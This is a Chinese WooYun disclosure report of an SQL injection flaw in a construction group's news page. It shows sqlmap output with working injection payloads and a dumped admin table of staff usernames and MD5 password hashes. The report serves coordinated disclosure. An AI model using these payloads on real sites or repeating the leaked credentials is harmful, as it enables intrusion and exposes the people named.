当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146815

漏洞标题:中国十九冶集团有限公司网站存在SQL注入漏洞

相关厂商:中国十九冶集团有限公司

漏洞作者: botieking

提交时间:2015-10-15 11:34

修复时间:2015-12-03 18:20

公开时间:2015-12-03 18:20

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-15: 细节已通知厂商并且等待厂商处理中
2015-10-19: 厂商已经确认,细节仅向厂商公开
2015-10-29: 细节向核心白帽子及相关领域专家公开
2015-11-08: 细节向普通白帽子公开
2015-11-18: 细节向实习白帽子公开
2015-12-03: 细节向公众公开

简要描述:

详细说明:

注入点:

http://**.**.**.**/newslist.php?id=41


其中id过滤不严,可导致SQL注入!
SQL注入结果如下:

c:\sqlmap>python sqlmap.py -u "http://**.**.**.**/newslist.php?id=41" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151001}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:46:11
[21:46:11] [INFO] resuming back-end DBMS 'mysql'
[21:46:11] [INFO] testing connection to the target URL
[21:46:12] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=41) AND 9227=9227 AND (9225=9225
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=41) AND (SELECT * FROM (SELECT(SLEEP(5)))dGnc) AND (3816=3816
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: id=41) UNION ALL SELECT CONCAT(0x7171707a71,0x63466275734b54486e4f,0x7162766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[21:46:12] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.14
back-end DBMS: MySQL 5.0.12
[21:46:12] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] sq_yxjxs


Database: sq_yxjxs
Table: manager
[8 entries]
+----+---------+----------------------------------+-------+-----------+---------+--------+------------+----------+-------------+
| ID | GroupID | MPsw | MFlag | MName | LastIP | MState | LastDate | TotalNum | FlagSetting |
+----+---------+----------------------------------+-------+-----------+---------+--------+------------+----------+-------------+
| 1 | 7 | 5a237b82e095508d06db79e48b8e3629 | 0 | 19ybs | NULL | 0 | 2010-01-21 | 0 | NULL |
| 4 | 8 | e10adc3949ba59abbe56e057f20f883e | 0 | zhouping | **.**.**.** | 1 | 2010-02-02 | 0 | NULL |
| 5 | 7 | 202cb962ac59075b964b07152d234b70 | 0 | wangwei | **.**.**.** | 1 | 2010-02-02 | 0 | NULL |
| 6 | 7 | 1697be812d42c47efdd2f8dfc6b7bbdc | 0 | luozhigui | **.**.**.** | 0 | 2010-02-02 | 0 | NULL |
| 7 | 7 | 202cb962ac59075b964b07152d234b70 | 0 | yanrong | **.**.**.** | 1 | 2010-02-02 | 0 | NULL |
| 8 | 7 | 202cb962ac59075b964b07152d234b70 | 0 | luoxun | **.**.**.** | 1 | 2010-02-02 | 0 | NULL |
| 9 | 7 | 202cb962ac59075b964b07152d234b70 | 0 | anshan | **.**.**.** | 1 | 2010-02-02 | 0 | NULL |
| 10 | 3 | 99D75B460B05C7D660D7069A0A4D4B4B | 0 | xyc | **.**.**.** | 0 | 2010-02-02 | 0 | NULL |
+----+---------+----------------------------------+-------+-----------+---------+--------+------------+----------+-------------+

漏洞证明:

QQ截图20151014215006.png

修复方案:

参数过滤,你懂的。。。

版权声明:转载请注明来源 botieking@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-10-19 18:18

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发对应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无